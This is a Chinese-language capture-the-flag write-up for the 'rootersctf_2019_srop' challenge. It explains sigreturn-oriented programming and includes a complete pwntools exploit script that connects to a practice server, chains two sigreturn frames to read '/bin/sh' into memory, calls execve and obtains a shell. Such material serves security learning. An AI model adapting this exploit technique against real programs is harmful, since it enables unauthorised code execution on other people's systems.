rootersctf_2019_srop
前置知识
这里有必要讲一下什么是srop。ctf_wiki的描述
这里我也简单说一下我的理解。就是内核处理信号(软中断)的时候,会将寄存器压栈到用户地址空间(这里有点小疑惑,因为内核切换进程的时候压栈是属于到内核地址空间,这里是用户地址空间)然后切换回来的时候,调用rt_sigreturn
pop回来之前保存的寄存器等。那么我们只要拥有这个gardet,就可以控制程序执行流以及次奥用的系统调用的参数。而触发pop这些寄存器的方法就是直接调用这个rt_sigreturn
即可。
ida分析
如图所示,只有一个简单的读入的溢出,没有牵涉到别的,甚至是静态编译的。那么只有srop着一种方法。其实这种方法也属于小众的,因为sigreturnframe一般比较大,如果能够用sigreturnframe的,基本上常规溢出也可以getshell,因此单独为了考这个就只能不放libc,而且一定会有pop_rax_syscall的gardet。
exp编写
from pwn import *
# io=process('./rootersctf_2019_srop')
io=remote('node4.buuoj.cn',27052)
context.log_level='debug'
context.arch="amd64"
context.log_level='debug'
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame()
frame.rax=0 # read syscall
frame.rdi = 0#stdin
frame.rsi = data_addr#buffer
frame.rdx=0x400#length
frame.rip=syscall_leave_ret
# rbp points to next frame?
# /bin/sh is 8 bytes, data_addr+20(all 'a')and8 bytes's /bin/sh will points to
# pop_rax...., so will execute leave_return
frame.rbp=data_addr+0x20
# call read
data = [0x88*'a', pop_rax_syscall_leave_ret,0xf,bytes(frame)]
# gdb.attach(io,"b *0x401035")
io.recvline()
io.sendline(flat(data))
layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve
frame.rdi = data_addr # /bin/sh\x00
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
layout.append(bytes(frame))
io.sendline(flat(layout))
io.interactive()
注意这里比较难以理解的地方就是,由于没有/bin/sh需要自己读入,因此需要两次srop。第一次为了读入,第二次执行execve。比较难以理解的地方是第一次的sigretframe里面的rbp设置为data+20的位置,这是为了能够直接return的位置放下一个gardet(第二个payload中的pop_rax_syscall_leave_ret),由此连续执行srop。
此外,这个好像没法调试的样子,因为没法陷入内核。
总结
srop属于比较小众的题目,本体的两次srop已经是比较难的了,但是和其他栈题目比起来,还算是比较简单的。远离也不算难,理解了这道题srop应该就没啥问题了。